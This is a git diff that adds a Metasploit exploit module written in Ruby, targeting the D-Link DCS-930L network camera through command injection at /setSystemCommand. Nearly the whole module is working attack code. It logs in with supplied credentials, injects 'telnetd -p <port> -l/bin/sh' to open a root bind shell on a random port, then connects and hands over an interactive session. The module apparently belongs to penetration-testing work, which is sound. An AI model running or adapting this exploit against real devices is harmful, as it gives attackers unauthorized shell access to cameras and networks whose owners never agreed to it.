diff --git a/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb new file mode 100644 index 0000000000..543ac2c857 --- /dev/null +++ b/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb @@ -0,0 +1,158 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::Telnet + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution', + 'Description' => %q{ + The D-Link DCS-930L Network Video Camera is vulnerable + to OS Command Injection via the web interface. The vulnerability + exists at /setSystemCommand, which is accessible with credentials. + This vulnerability was present in firmware version 2.01 and fixed + by 2.12. + }, + 'Author' => + [ + 'Nicholas Starke ' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 20 2015', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def telnet_timeout + (datastore['TelnetTimeout'] || 10) + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25) + end + + def exploit + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] || '' + + test_login(user, pass) + exploit_telnet + end + + def test_login(user, pass) + print_status("#{peer} - Trying to login with #{user} : #{pass}") + + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user, pass) + }) + + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200 + + print_good("#{peer} - Successful login #{user} : #{pass}") + end + + def exploit_telnet + telnet_port = rand(32767) + 32768 + + print_status("#{peer} - Telnet Port: #{telnet_port}") + + cmd = "telnetd -p #{telnet_port} -l/bin/sh" + + telnet_request(cmd) + + print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...") + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout }) + + if sock.nil? + fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable") + end + + add_socket(sock) + + print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + + if prompt.nil? + sock.close + fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{telnet_port} - Telnet session successfully established") + end + + handler(sock) + end + + def telnet_request(cmd) + uri = '/setSystemCommand' + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => { + 'ReplySuccessPage' => 'docmd.htm', + 'ReplyErrorPage' => 'docmd.htm', + 'SystemCommand' => cmd, + 'ConfigSystemCommand' => 'Save' + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, telnet_timeout) + return nil if not data or data.length == 0 + if data =~ /BusyBox/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end +end